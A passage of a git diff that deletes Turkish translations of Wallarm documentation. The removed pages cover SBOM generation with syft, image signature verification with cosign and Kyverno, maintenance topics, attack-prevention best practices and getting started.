dağıtımı](../installation/kubernetes/sidecar-proxy/deployment.md) için Helm chart’ının kullandığı tüm Docker imajları: - - * [wallarm/sidecar](https://hub.docker.com/r/wallarm/sidecar) - * [wallarm/sidecar-controller](https://hub.docker.com/r/wallarm/sidecar-controller) - * [wallarm/node-helpers](https://hub.docker.com/r/wallarm/node-helpers) -* [wallarm/node-native-aio](https://hub.docker.com/r/wallarm/node-native-aio): Wallarm connectors için [self-hosted Native Node dağıtımına yönelik Docker imajı](../installation/native-node/docker-image.md) - -## Gereksinimler - -Wallarm Docker imajları için SBOM oluşturmak üzere [syft](https://github.com/anchore/syft) CLI aracını kullanmanız gerekir. - -SBOM oluşturmaya başlamadan önce, yerel makinenize veya CI/CD boru hattınıza **syft**’i [kurduğunuzdan](https://github.com/anchore/syft#installation) emin olun. - -## SBOM oluşturma işlemi - -Bir Docker imajı için SBOM oluşturmak üzere, aşağıdaki komutu kullanın ve belirtilen imaj etiketini istediğiniz etiketle değiştirin: - -```bash -syft wallarm/ingress-controller:4.6.2-1 -``` - -Varsayılan olarak, **syft** SBOM’u metin biçiminde döndürür. Ayrıca CycloneDX, SPDX gibi diğer biçimlerde de üretebilir ve çıktıyı bir dosyaya kaydedebilirsiniz, örneğin: - -```bash -syft wallarm/ingress-controller:4.6.2-1 --output spdx-json >> syft_json_sbom.spdx -syft wallarm/ingress-controller:4.6.2-1 --output cyclonedx-json >> cyclonedx_json_sbom.cyclonedx -``` - -SBOM’u oluşturduktan sonra, onu CI/CD boru hattınızda zafiyet taraması, lisans uyumluluğu kontrolleri, güvenlik denetimleri veya rapor oluşturma gibi çeşitli işlemler için kullanabilirsiniz. - -Tüm bağımlılıkların gerçekten Wallarm’a ait olduğunu doğrulamak için, basitçe imajı bir bütün olarak [imajın imzasını kontrol edin](verify-docker-image-signature.md). İmajlarımızı dijital olarak imzalayarak, imzalı imajın gerçekten bize ait olduğunu garanti ederiz. Buna bağlı olarak, SBOM da Wallarm’a ait doğrulanmış imajla ilişkilendirileceğinden aynı güvence SBOM’a da genişler. \ No newline at end of file diff --git a/docs/latest-tr/integrations-devsecops/verify-docker-image-signature.md b/docs/latest-tr/integrations-devsecops/verify-docker-image-signature.md deleted file mode 100644 index 8371dfa94b..0000000000 --- a/docs/latest-tr/integrations-devsecops/verify-docker-image-signature.md +++ /dev/null @@ -1,104 +0,0 @@ -# Wallarm Docker İmaj İmzalarını Doğrulama - -Wallarm, Docker imajları için [genel anahtarı](https://repo.wallarm.com/cosign.pub) imzalar ve paylaşır; bu sayede imajların özgünlüğünü doğrulayabilir ve ele geçirilmiş imajlar ile tedarik zinciri saldırıları gibi riskleri azaltabilirsiniz. Bu makale, Wallarm Docker imaj imzalarının doğrulanmasına yönelik talimatları sağlar. - -## İmzalanan imajların listesi - -Wallarm aşağıdaki Docker imajlarını imzalar: - -* [wallarm/node](https://hub.docker.com/r/wallarm/node) 4.8.0-1 ve üzeri: tüm Wallarm modüllerini içeren, Wallarm dağıtımı için bağımsız bir artefakt görevi gören [NGINX tabanlı Docker imajı](../admin-en/installation-docker-en.md) -* [NGINX-based Ingress Controller deployment](../admin-en/installation-kubernetes-en.md) için Helm chart tarafından kullanılan tüm Docker imajları: - - * [wallarm/ingress-controller](https://hub.docker.com/r/wallarm/ingress-controller) - * [wallarm/node-helpers](https://hub.docker.com/r/wallarm/node-helpers) -* [Sidecar deployment](../installation/kubernetes/sidecar-proxy/deployment.md) için Helm chart tarafından kullanılan tüm Docker imajları: - - * [wallarm/sidecar](https://hub.docker.com/r/wallarm/sidecar) - * [wallarm/sidecar-controller](https://hub.docker.com/r/wallarm/sidecar-controller) - * [wallarm/node-helpers](https://hub.docker.com/r/wallarm/node-helpers) -* [wallarm/node-native-aio](https://hub.docker.com/r/wallarm/node-native-aio): Wallarm bağlayıcıları için [self-hosted Native Node dağıtımı için Docker imajı](../installation/native-node/docker-image.md) - -## Gereksinimler - -Wallarm Docker imajlarının özgünlüğünü sağlamak için, hem imzalama hem de doğrulama amacıyla [Cosign](https://docs.sigstore.dev/cosign/overview/) kullanılır. - -Docker imaj imzası doğrulamasına geçmeden önce, Cosign komut satırı aracını yerel makinenize veya CI/CD hattınıza [kurduğunuzdan](https://docs.sigstore.dev/cosign/installation/) emin olun. - -## Docker imajı imza doğrulamasını çalıştırma - -Bir Docker imajı imzasını doğrulamak için, aşağıdaki komutları çalıştırın ve `WALLARM_DOCKER_IMAGE` değerini ilgili imaj etiketiyle değiştirin: - -```bash -export WALLARM_DOCKER_IMAGE="wallarm/ingress-controller:4.6.2-1" -cosign verify --key https://repo.wallarm.com/cosign.pub $WALLARM_DOCKER_IMAGE -``` - -[Çıktı](https://docs.sigstore.dev/cosign/verify/) örneğin imaj özetiyle `docker-manifest-digest` nesnesini sağlamalıdır: - -```bash -[{"critical":{"identity":{"docker-reference":"index.docker.io/"}, -"image":{"docker-manifest-digest":""},"type":"cosign container image signature"}, -"optional":{"Bundle":{"SignedEntryTimestamp":"","Payload":{"body":"", -"integratedTime":,"logIndex":,"logID":""}}}}] -``` - -## İmza doğrulaması için Kubernetes policy motorunu kullanma - -Kyverno veya Open Policy Agent (OPA) gibi motorlar, Kubernetes kümeniz içinde Docker imajı imza doğrulamasına olanak tanır. Doğrulamaya yönelik kuralları olan bir policy hazırlayarak, Kyverno depo veya etiketler dahil tanımlanan ölçütlere göre imaj imza doğrulamasını başlatır. Doğrulama, Kubernetes kaynağı dağıtımı sırasında gerçekleşir. - -Wallarm Docker imajı imza doğrulaması için Kyverno policy kullanımına bir örnek: - -1. Kümenize [Kyverno’yu yükleyin](https://kyverno.io/docs/installation/methods/) ve tüm pod’ların çalışır durumda olduğundan emin olun. -1. Aşağıdaki Kyverno YAML policy’sini oluşturun: - - ```yaml - apiVersion: kyverno.io/v1 - kind: ClusterPolicy - metadata: - name: verify-wallarm-images - spec: - webhookTimeoutSeconds: 30 - validationFailureAction: Enforce - background: false - failurePolicy: Fail - rules: - - name: verify-wallarm-images - match: - any: - - resources: - kinds: - - Pod - verifyImages: - - imageReferences: - - docker.io/wallarm/ingress* - - docker.io/wallarm/sidecar* - attestors: - - entries: - - keys: - kms: https://repo.wallarm.com/cosign.pub - ``` -1. Policy’yi uygulayın: - - ``` - kubectl apply -f - ``` -1. Gereksinimlerinize bağlı olarak Wallarm [NGINX Ingress controller](../admin-en/installation-kubernetes-en.md) veya [Sidecar Controller](../installation/kubernetes/sidecar-proxy/deployment.md)’ı dağıtın. Kyverno policy’si, imajın imzasını kontrol etmek için dağıtım sırasında uygulanacaktır. -1. Doğrulama sonuçlarını analiz etmek için şunu çalıştırın: - - ``` - kubectl describe ClusterPolicy verify-wallarm-images - ``` - -İmza doğrulama durumunu özetleyen bir çıktı alacaksınız: - -``` -Events: - Type Reason Age From Message - ---- ------ ---- ---- ------- - Normal PolicyApplied 50s (x2 over 50s) kyverno-admission Deployment wallarm-sidecar/wallarm-sidecar-wallarm-sidecar-controller: pass - Normal PolicyApplied 48s kyverno-admission Pod wallarm-sidecar/wallarm-sidecar-wallarm-sidecar-controller-9dcfddfc7-hjbhd: pass - Normal PolicyApplied 40s (x2 over 40s) kyverno-admission Deployment wallarm-sidecar/wallarm-sidecar-wallarm-sidecar-postanalytics: pass - Normal PolicyApplied 35s kyverno-admission Pod wallarm-sidecar/wallarm-sidecar-wallarm-sidecar-postanalytics-554789546f-9cc8j: pass -``` - -Sağlanan `verify-wallarm-images` policy’sinde `failurePolicy: Fail` parametresi bulunur. Bu, imza kimlik doğrulaması başarılı olmazsa tüm chart dağıtımının başarısız olacağı anlamına gelir. \ No newline at end of file diff --git a/docs/latest-tr/maintenance/overview.md b/docs/latest-tr/maintenance/overview.md deleted file mode 100644 index 865968e94c..0000000000 --- a/docs/latest-tr/maintenance/overview.md +++ /dev/null @@ -1,68 +0,0 @@ -# Bakım - -Bu bölüm, Wallarm dağıtımınızın bakımı, izlenmesi ve yükseltilmesi konusunda kapsamlı bir rehberlik sağlayarak optimum performans ve güvenlik sağlar. - -## Dahil Olan İçerik - -* **Düğümler ve Altyapı** - * [Düğüm Genel Bakış](../user-guides/nodes/nodes.md) - Wallarm düğümlerini yönetme ve izleme - * [Kaynak Tahsisi](../admin-en/configuration-guides/allocate-resources-for-node.md) - CPU ve bellek kaynaklarını yapılandırma - * [Bulut Senkronizasyonu](../admin-en/configure-cloud-node-synchronization-en.md) - Wallarm Cloud ile düğüm senkronizasyonunu yapılandırma - * [Proxy Yapılandırması](../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md) - Wallarm API erişimi için proxy kurulumu - * [Engelleme Sayfası Yapılandırması](../admin-en/configuration-guides/configure-block-page-and-code.md) - Engelleme sayfalarını ve yanıt kodlarını özelleştirme - * [Geçersiz Başlıkları İşleme](../admin-en/configuration-guides/handling-invalid-headers.md) - Geçersiz HTTP başlıkları için davranış yapılandırması - * [JA3 Parmak İzi](../admin-en/enabling-ja3.md) - Gelişmiş güvenlik için TLS parmak izi alma özelliğini etkinleştirme - * [Terraform Sağlayıcısı](../admin-en/managing/terraform-provider.md) - Wallarm altyapısını kod olarak yönetme - -* **İzleme ve Metrikler** - * **NGINX Düğüm Metrikleri** - * [Genel Bakış](../admin-en/nginx-node-metrics.md) - NGINX düğümü metrik toplama sistemine giriş - * [Postanalitik Metrikleri](../admin-en/wstore-metrics.md) - Postanalitik modülü metrikleri - * [wcli Kontrolör Metrikleri](../admin-en/wcli-metrics.md) - wcli kontrolör metrikleri - * [API Güvenlik Duvarı Metrikleri](../admin-en/apifw-metrics.md) - API güvenlik duvarı metrikleri - * **Yerel Düğüm Metrikleri** - * [Genel Bakış](../admin-en/native-node-metrics.md) - Yerel düğüm metrik toplama sistemine giriş - * [İstatistik Hizmeti](../admin-en/configure-statistics-service.md) - İstatistik toplamayı yapılandırma - * [Düğüm Günlükleme](../admin-en/configure-logging.md) - Günlük seviyelerini ve çıktıyı yapılandırma - * [Yük Devretme Yapılandırması](../admin-en/configure-backup-en.md) - Yük devretme mekanizmalarını kurma - * [Sağlık Kontrolü](../admin-en/uat-checklist-en.md) - Düğüm sağlığını ve işlevselliğini doğrulama - -* **Yükseltmeler ve Geçiş** - * [Sürümlendirme Politikası](../updating-migrating/versioning-policy.md) - Wallarm sürümlendirme ve destek yaşam döngüsünü anlama - * [Genel Öneriler](../updating-migrating/general-recommendations.md) - Yükseltmeler için en iyi uygulamalar - * [Yenilikler](../updating-migrating/what-is-new.md) - Yeni sürümler için önemli değişiklikler ve geçiş rehberi - * **Değişiklik Günlükleri** - * [NGINX Düğüm Değişiklik Günlüğü](../updating-migrating/node-artifact-versions.md) - NGINX tabanlı düğümler için sürüm notları - * [Native Düğüm Değişiklik Günlüğü](../updating-migrating/native-node/node-artifact-versions.md) - Native düğümler için sürüm notları - * [Bağlayıcı Kod Paketi](../installation/connectors/code-bundle-inventory.md) - Bağlayıcı sürüm notları - * **NGINX Düğüm Yükseltmeleri** - * [DEB/RPM Paketleri](../updating-migrating/nginx-modules.md) - * [Postanalytics Modülü](../updating-migrating/separate-postanalytics.md) - * [Hepsi Bir Arada Yükleyici](../updating-migrating/all-in-one.md) - * [Docker İmajı](../updating-migrating/docker-container.md) - * [Ingress Controller](../updating-migrating/ingress-controller.md) - * [Ingress Controller Kullanımdan Kaldırma](../updating-migrating/nginx-ingress-retirement.md) - * [Sidecar Proxy](../updating-migrating/sidecar-proxy.md) - * [Bulut İmajı](../updating-migrating/cloud-image.md) - * [Çok Kiracılı Düğüm](../updating-migrating/multi-tenant.md) - * **Native Düğüm Yükseltmeleri** - * [Hepsi Bir Arada Yükleyici](../updating-migrating/native-node/all-in-one.md) - * [Helm Chart](../updating-migrating/native-node/helm-chart.md) - * [Docker İmajı](../updating-migrating/native-node/docker-image.md) - -* **İşlemler** - * [İstek Hacmini Öğrenme](../admin-en/operation/learn-incoming-request-number.md) - Faturalandırma ve kapasite planlaması için API istek hacmini belirleme - * [Tarayıcı IP Adresleri](../admin-en/scanner-addresses.md) - İzin listesi için Wallarm tarayıcı IP adresleri - -* **Sorun Giderme** - * [Genel Bakış](../troubleshooting/overview.md) - Genel sorun giderme rehberliği - * [Tespit ve Engelleme](../troubleshooting/detection-and-blocking.md) - Saldırı tespit sorunlarını giderme - * [Tespit Araçları](../troubleshooting/detection-tools-tuning.md) - Tespit mekanizmalarını ince ayarlama - * [Performans](../troubleshooting/performance.md) - Performans sorunlarını ele alma - * [Gerçek İstemci IP](../admin-en/using-proxy-or-balancer-en.md) - Doğru istemci IP tespitini yapılandırma - * [Son Kullanıcı Sorunları](../faq/common-errors-after-installation.md) - Kurulum sonrası yaygın hatalar - * [Wallarm Ingress Controller](../faq/ingress-installation.md) - Ingress'e özgü sorunlar - * [Wallarm Cloud Çalışmıyor](../faq/wallarm-cloud-down.md) - Bulut kullanılamama durumunu ele alma - * [OWASP Gösterge Paneli Uyarıları](../faq/node-issues-on-owasp-dashboards.md) - Gösterge paneli uyarılarını çözme - * [NGINX Hata Günlüğü](../troubleshooting/wallarm-issues-in-nginx-error-log.md) - NGINX hata mesajlarını yorumlama - * [NGINX'te Dinamik DNS](../admin-en/configure-dynamic-dns-resolution-nginx.md) - Dinamik DNS çözümlemeyi yapılandırma diff --git a/docs/latest-tr/news.md b/docs/latest-tr/news.md deleted file mode 100644 index 2745a20803..0000000000 --- a/docs/latest-tr/news.md +++ /dev/null @@ -1,16 +0,0 @@ -# Değişiklik günlüğü ve haberler - -
              - - - \ No newline at end of file diff --git a/docs/latest-tr/quickstart/attack-prevention-best-practices.md b/docs/latest-tr/quickstart/attack-prevention-best-practices.md deleted file mode 100644 index c4d8fc7e2e..0000000000 --- a/docs/latest-tr/quickstart/attack-prevention-best-practices.md +++ /dev/null @@ -1,103 +0,0 @@ -# Wallarm ile Saldırı Önleme için En İyi Uygulamalar - -Bu makale, iki bekçiyi bir arada sunan benzersiz bir platform olan Wallarm’ı saldırı önleme amacıyla nasıl kullanacağınızı gösterecektir. Wallarm, diğer araçlar gibi web sitelerini korumakla (WAAP) kalmaz, aynı zamanda sisteminizin API’lerini de özel olarak güvenceye alarak çevrimiçi alanınızın tüm teknik bileşenlerini korur. - -Çevrimiçi ortamda bu kadar çok tehdit varken güçlü bir kalkan şarttır. Wallarm, SQL injection, cross-site scripting, remote code execution ve Path Traversal gibi yaygın tehditleri kendi başına durdurabilir. Ancak, DoS saldırısı, hesap ele geçirme, API kötüye kullanımı gibi bazı kurnaz tehlikeler ve özel kullanım senaryoları için birkaç ayar gerekebilir. Bu adımlarda size rehberlik ederek en iyi korumayı almanızı sağlayacağız. İster deneyimli bir güvenlik uzmanı olun ister siber güvenlik yolculuğunuza yeni çıkıyor olun, bu makale güvenlik stratejinizi güçlendirmek için değerli içgörüler sunacaktır. - -## Birden çok uygulamayı ve kiracıyı yönetin - -Kuruluşunuz birden fazla uygulama veya ayrı kiracılar (tenant) kullanıyorsa, kolay yönetim için Wallarm platformunu faydalı bulacaksınız. Platform, [her bir uygulama için](../user-guides/settings/applications.md) olayları ve istatistikleri ayrı ayrı görmenizi ve uygulama başına özel trigger veya kural yapılandırmanızı sağlar. Gerekirse, ayrı erişim kontrolleriyle [her bir kiracı için](../installation/multi-tenant/overview.md) izole bir ortam oluşturabilirsiniz. - -## Güven bölgesi oluşturun - -Yeni güvenlik önlemleri uygularken kritik iş uygulamalarının kesintisiz çalışması öncelikli olmalıdır. Güvenilen kaynakların Wallarm platformu tarafından gereksiz yere işlenmemesini sağlamak için bu kaynakları [IP allowlist](../user-guides/ip-lists/overview.md)’e atayabilirsiniz. - -Allowlist’te yer alan kaynaklardan gelen trafik varsayılan olarak analiz edilmez veya günlüğe kaydedilmez. Bu, bypass edilen isteklere ilişkin verilerin incelemeye açık olmayacağı anlamına gelir. Bu nedenle dikkatli kullanılmalıdır. - -Sınırsız trafiğe ihtiyaç duyan veya manuel gözetim yapmak istediğiniz URL’ler için [Wallarm node’unu monitoring mode’a](../admin-en/configure-wallarm-mode.md) almayı düşünün. Bu, bu URL’leri hedef alan kötü amaçlı etkinlikleri yakalar ve kaydeder. Sonrasında bu olayları Wallarm Console UI üzerinden inceleyebilir, anormallikleri izleyebilir ve gerekirse belirli IP’leri engellemek gibi manuel işlemler uygulayabilirsiniz. - -## Trafik filtreleme modlarını ve işleme istisnalarını kontrol edin - -[Filtration modes](../admin-en/configure-wallarm-mode.md) yönetimi ve uygulamalarınıza uyacak şekilde özelleştirilebilir işlem seçeneklerimizi kullanarak güvenlik önlemlerini kademeli olarak uygulayın. Örneğin, belirli node’lar, uygulamalar veya bir uygulamanın belirli bölümleri için monitoring mode’u etkinleştirin. - -Gerektiğinde, belirli istek öğelerine uyarlanmış [tespit mekanizmalarını hariç tutun](../about-wallarm/protecting-against-attacks.md#ignoring-certain-attack-types). - -## Denylist’i ayarlayın - -Uygulamalarınızı güvensiz kaynaklardan korumak için bunları [denylist](../user-guides/ip-lists/overview.md)’e ekleyerek VPN’ler, Proxy sunucuları veya Tor ağları gibi şüpheli bölgelerden ya da kaynaklardan gelen trafiği engelleyebilirsiniz. - -## Çoklu saldırı faillerini engelleyin - -Wallarm blocking mode’dayken, kötü amaçlı payload içeren tüm istekleri otomatik olarak engeller ve yalnızca meşru isteklerin geçmesine izin verir. Kısa bir süre içinde tek bir IP adresinden birden fazla kötü niyetli etkinlik (genellikle çoklu saldırı failleri) tespit edilirse, [saldırganı tamamen engellemeyi](../admin-en/configuration-guides/protecting-with-thresholds.md) düşünün. - -## Brute-force azaltımını etkinleştirin - -Tek bir IP adresinden yetkilendirme sayfalarına veya parola sıfırlama formlarına yönelik erişim denemelerinin sayısını sınırlayarak brute-force saldırılarını azaltın. Bunu, [belirli bir trigger](../admin-en/configuration-guides/protecting-against-bruteforce.md) yapılandırarak yapabilirsiniz. - -## Forced browsing azaltımını etkinleştirin - -Forced browsing, bir saldırganın dizinler ve uygulama hakkında bilgi içeren dosyalar gibi gizli kaynakları bulmaya ve kullanmaya çalıştığı bir saldırıdır. Bu gizli dosyalar, saldırganların diğer saldırı türlerini gerçekleştirmekte kullanabilecekleri bilgiler sağlayabilir. Bu tür kötü niyetli etkinlikleri, belirli kaynaklara başarısız erişim denemeleri için sınırlar tanımlayarak [belirli bir trigger](../admin-en/configuration-guides/protecting-against-bruteforce.md) ile önleyebilirsiniz. - -## Oran limitleri (rate limit) belirleyin - -API’lerin ne sıklıkla kullanılabileceğine ilişkin uygun bir sınır olmadan, DoS ve brute-force saldırıları veya API aşırı kullanımı gibi sistemi aşırı yükleyen saldırılara maruz kalabilirler. [**Advanced rate limiting** kuralını](../user-guides/rules/rate-limiting.md) kullanarak belirli bir kapsama yapılabilecek maksimum bağlantı sayısını belirleyebilir ve gelen isteklerin eşit dağılımını sağlayabilirsiniz. - -## BOLA korumasını etkinleştirin - -Broken Object Level Authorization (BOLA) güvenlik açığı, bir saldırganın bir nesneye API isteğiyle tanımlayıcısı üzerinden erişmesine ve yetkilendirme mekanizmasını atlayarak verilerini okumasına veya değiştirmesine olanak tanır. BOLA saldırılarını önlemek için, savunmasız uç noktaları manuel olarak belirtip bunlara bağlantı sınırları koyabilir veya Wallarm’ın savunmasız uç noktaları otomatik olarak tanımlayıp korumasını etkinleştirebilirsiniz. [Daha fazlasını öğrenin](../admin-en/configuration-guides/protecting-against-bola.md) - -## API Abuse Prevention kullanın - -[API abuse profillerini ayarlayın](../api-abuse-prevention/setup.md) ve hesap ele geçirme, scraping, security crawlers ve API’lerinizi hedef alan diğer otomatik kötü amaçlı eylemler gibi API kötüye kullanımlarını gerçekleştiren botları durdurup engelleyin. - -## Credential stuffing tespitini etkinleştirin - -[Credential stuffing tespitini](../about-wallarm/credential-stuffing.md) etkinleştirerek, uygulamalarınıza erişmek için ele geçirilmiş veya zayıf kimlik bilgilerinin kullanılmasına yönelik girişimler hakkında gerçek zamanlı bilgiye ve uygulamalarınıza erişim sağlayan tüm ele geçirilmiş veya zayıf kimlik bilgilerinin indirilebilir bir listesine sahip olun. - -Çalınmış veya zayıf parolalara sahip hesaplara ilişkin bilgi, hesap sahipleriyle iletişime geçmek, hesaplara erişimi geçici olarak askıya almak vb. gibi bu hesapların verilerini güvenceye alma önlemlerini başlatmanızı sağlar. - -## Özel saldırı tespit kuralları oluşturun - -Bazı senaryolarda, manuel olarak bir [saldırı tespit imzası eklemek veya sanal yama oluşturmak](../user-guides/rules/regex-rule.md) faydalı olabilir. Wallarm, saldırı tespiti için normal ifadelere dayanmasa da, kullanıcıların normal ifadelere dayalı ek imzalar eklemesine izin verir. - -## Hassas verileri maskeleyin - -Wallarm node’u saldırı bilgilerini Wallarm Cloud’a gönderir. Yetkilendirme (çerezler, belirteçler, parolalar), kişisel veriler ve ödeme bilgileri gibi bazı veriler, işlendiği sunucuda kalmalıdır. Bu özel istek noktalarının orijinal değerini Wallarm Cloud’a gönderilmeden önce kesmek için [bir veri maskeleme kuralı oluşturun](../user-guides/rules/sensitive-data-rule.md); böylece hassas veriler güvenilir ortamınızda kalır. - -## Kullanıcı oturumlarını analiz edin - -Yalnızca **Attacks** veya **Incidents** bölümünde sunulan saldırılarla ilgilenirken, saldırının parçası olduğu isteklerin mantıksal sıralaması gibi tam bağlamlarını göremezsiniz. - -Wallarm’ın [**API Sessions**](../api-sessions/overview.md) özelliği, uygulamalarınızın nasıl saldırıya uğradığına dair daha genel kalıpları ortaya çıkarmak ve alınan güvenlik önlemlerinin hangi iş mantığını etkileyeceğini anlamak için bu bağlamı sağlar. - -Kullanıcı oturumlarını analiz ederek tehdit aktörünün davranış mantığını belirleyin, saldırı ve kötü amaçlı bot tespit doğruluğunu doğrulayın, risk altındaki shadow, zombie ve diğer uç noktaları takip edin, performans sorunlarını belirleyin ve daha fazlasını yapın. - -## Sorunsuz SIEM/SOAR entegrasyonu ve kritik olaylar için anlık uyarılar - -Wallarm, Sumo Logic, Splunk ve diğerleri gibi [çeşitli SIEM/SOAR sistemleri](../user-guides/settings/integrations/integrations-intro.md) ile sorunsuz entegrasyon sunarak tüm saldırı bilgilerini merkezi yönetim için SOC merkezinize zahmetsizce aktarmanızı sağlar. - -Wallarm entegrasyonları, [triggers](../user-guides/triggers/triggers.md) işlevselliği ile birlikte belirli saldırılar, denylisted IPs ve genel devam eden saldırı hacmi hakkında raporlar ve gerçek zamanlı bildirimler ayarlamanız için size harika bir araç sağlar. - -## Katmanlı savunma stratejisi - -Uygulamalarınız için sağlam ve güvenilir güvenlik önlemleri oluştururken katmanlı bir savunma stratejisi benimsemek çok önemlidir. Bu, birlikte dayanıklı bir derinlemesine savunma duruşu oluşturan tamamlayıcı koruyucu önlemler paketini uygulamayı içerir. Wallarm güvenlik platformunun sunduğu önlemlerin yanı sıra aşağıdaki uygulamaları öneririz: - -* Bulut hizmet sağlayıcınızdan L3 DDoS koruması kullanın. L3 DDoS koruması, ağ seviyesinde çalışır ve dağıtık hizmet engelleme saldırılarını azaltmaya yardımcı olur. Çoğu bulut hizmet sağlayıcısı hizmetlerinin bir parçası olarak L3 koruması sunar. -* Web sunucularınız veya API ağ geçitleriniz için güvenli yapılandırma önerilerini izleyin. Örneğin, [NGINX](https://www.cyberciti.biz/tips/linux-unix-bsd-nginx-webserver-security.html) veya [Kong](https://konghq.com/learning-center/api-gateway/secure-api-gateway) kullanıyorsanız güvenli yapılandırma yönergelerine uyduğunuzdan emin olun. - -Bu ek uygulamaları [Wallarm L7 DDoS koruma önlemleri](../admin-en/configuration-guides/protecting-against-ddos.md#l7-ddos-protection-with-wallarm) ile birlikte dahil ederek uygulamalarınızın genel güvenliğini önemli ölçüde artırabilirsiniz. - -## OWASP API en önemli tehditlerinin kapsamını kontrol edin ve geliştirin - -OWASP API Security Top 10, API’lerde güvenlik riskini değerlendirmek için altın standarttır. Wallarm, API’nizin bu API tehditlerine karşı güvenlik duruşunu ölçmenize yardımcı olmak için, 2023 sürümünün en önemli tehditlerinin azaltılmasına yönelik net görünürlük ve metrikler sağlayan bir [dashboard](../user-guides/dashboards/owasp-api-top-ten.md) sunar. - -Bu dashboard’lar, genel güvenlik durumunu değerlendirmenize ve uygun güvenlik kontrollerini ayarlayarak keşfedilen güvenlik sorunlarını proaktif olarak ele almanıza yardımcı olur. - -## JA3 fingerprinting’i etkinleştirin - -Aşağıdaki işlevleri daha hassas hale getirmek için: - -* [API Sessions](../api-sessions/overview.md) -* API Sessions mekanizmasını kullanan [API Abuse Prevention](../api-abuse-prevention/overview.md) - -Kimliği doğrulanmamış trafiğin daha iyi tanımlanması için [JA3 fingerprinting](../admin-en/enabling-ja3.md#overview) etkinleştirmeniz önerilir. \ No newline at end of file diff --git a/docs/latest-tr/quickstart/getting-started.md b/docs/latest-tr/quickstart/getting-started.md deleted file mode 100644 index 893ca6c5f5..0000000000 --- a/docs/latest-tr/quickstart/getting-started.md +++ /dev/null @@ -1,55 +0,0 @@ -# Wallarm Platformu ile Başlarken - -Wallarm, uçtan uca API güvenliği sunar; API’lerinizi zafiyetler ve kötü amaçlı faaliyetlere karşı belirler ve korur. Platformu kullanmaya başlamanıza yardımcı olmak için kayıt olmadan önce keşif yapabileceğiniz bir Playground, kayıtla birlikte bir Free Tier ve sorunsuz bir deneyim için uzman desteğine erişim sunuyoruz. - -## Playground’da Wallarm’ı Öğrenin - -Kayıt olmadan ve ortamınıza herhangi bir bileşen dağıtmadan Wallarm’ı keşfetmek için [Wallarm Playground](https://tour.playground.wallarm.com/?utm_source=wallarm_docs_quickstart) kullanın. - -Playground’da, sanki gerçek verilerle doldurulmuş gibi Wallarm Console görünümüne erişebilirsiniz. Wallarm Console, işlenen trafik verilerini gösteren ve platformun ince ayarına olanak tanıyan temel Wallarm platform bileşenidir. Bu nedenle Playground ile ürünün nasıl çalıştığını öğrenebilir ve deneyebilir, yalnızca-okunur modda kullanımına dair faydalı örnekler elde edebilirsiniz. - -![Playground](../images/playground.png) - -Wallarm çözümünün yeteneklerini kendi trafiğiniz üzerinde denemek için, [Security Edge Free Tier hesabı oluşturun](#self-signup-and-security-edge-free-tier). - -## Kendi kendine kayıt ve Security Edge Free Tier - -Wallarm’a kaydolurken, Wallarm platformunda gezinmek ve yapılandırmak için merkezi merkez işlevi gören Wallarm Console içinde bir hesap oluşturursunuz. Console UI, [Wallarm Cloud](../about-wallarm/overview.md#cloud) üzerinde barındırılır. - -Her yeni hesap otomatik olarak [Security Edge Free Tier](../about-wallarm/subscription-plans.md#security-edge-free-tier) kapsamına alınır ve bu da size aylık **500 bin istek**i ücretsiz sağlar. - -1. Wallarm Cloud’unuzu seçin: - - || US Cloud | EU Cloud | - | -- | -------- | -------- | - | **Kayıt bağlantısı** | https://us1.my.wallarm.com/signup | https://my.wallarm.com/signup | - | **Fiziksel konum** | USA | Netherlands | - | **Wallarm Console URL’si** | https://us1.my.wallarm.com/ | https://my.wallarm.com/ | - | **Wallarm API Endpoint’i** | `https://us1.api.wallarm.com/` | `https://api.wallarm.com/` | -1. Kayıt bağlantısını takip edin ve kişisel bilgilerinizi girin. -1. Trafiğinizin analizine ücretsiz başlamak için [Security Edge Inline veya Connectors](../installation/security-edge/free-tier.md) yapılandırın: - - ![!](../images/waf-installation/security-edge/onboarding-wizard.png) - -## Dağıtım gerektirmeden API’nizi tanıyın - -Kuruluşunuzun dışa açık tüm API’lerinin tam listesini bilmek, potansiyel güvenlik risklerini azaltmanın ilk adımıdır; çünkü izlenmeyen veya belgelenmeyen API’ler kötü amaçlı saldırılar için potansiyel giriş noktaları olabilir. - -Tüm dış ana bilgisayarlarınızı ve bunların API’lerini anında keşfetmek ve şunları elde etmek için Wallarm’ın [API Attack Surface Management (AASM)](../api-attack-surface/overview.md)’ine abone olun: - -* Dış ana bilgisayarlarınızın listesi. -* Ana bilgisayarlarınızın koruma puanı - Wallarm, bulunan alt alan adları/ana bilgisayarların web ve API servislerine yönelik saldırılara karşı dayanıklılığını otomatik olarak test eder ve koruma seviyelerini değerlendirir. -* Ana bilgisayarlarınız için sızdırılmış kimlik bilgileri bilgisi - Wallarm, seçtiğiniz alan adlarını ve herkese açık kaynakları kimlik bilgisi verilerinin (API belirteçleri ve anahtarlar, parolalar, istemci sırları, kullanıcı adları, e-postalar ve diğerleri) sızıntıları için aktif olarak tarar. - -Tüm bunları, Wallarm içindeki bileşene abone olarak elde edersiniz - bilgilerinize ulaşmak için herhangi bir şey dağıtmanız gerekmez. - -Başlamak için aşağıdakilerden birini yapın: - -* [sales@wallarm.com](mailto:sales@wallarm.com) ile iletişime geçin veya -* Wallarm’ın resmi sitesinden fiyat bilgisi alın ve AASM’yi [buradan](https://www.wallarm.com/product/aasm) etkinleştirin. - -## Rehberli deneme - -Tüm onboarding süreci boyunca Sales Engineer ekibimizin size yardımcı olduğu rehberli bir denemeyi tercih edebilirsiniz. Ürünün değerini 2 haftalık bir dönem boyunca gösterecek ve trafiğinizi filtrelemek için Wallarm filtreleme örneklerini devreye almanıza yardımcı olacaklar. - -Bu denemeyi talep etmek için lütfen bize [sales@wallarm.com](mailto:sales@wallarm.com?subject=Request%20for%20a%20Guided%20Wallarm%20Trial&body=Hello%20Wallarm%20Sales%20Engineer%20Team%2C%0A%0AI'm%20writing%20to%20request%20a%20guided%20Wallarm%20trial.%20I%20would%20be%20happy%20to%20schedule%20a%20call%20with%20you%20to%20discuss%20my%20requirements%20in%20detail.%0A%0AThank%20you%20for%20your%20time%20and%20assistance.) adresinden e-posta gönderin. \ No newline at end of file diff --git a/docs/latest-tr/reference/comparing-wallarm-to-other-solutions.md b/docs/latest-tr/reference/comparing-wallarm-to-other-solutions.md deleted file mode 100644 index 1b77180b1d..0000000000 --- a/docs/latest-tr/reference/comparing-wallarm-to-other-solutions.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- 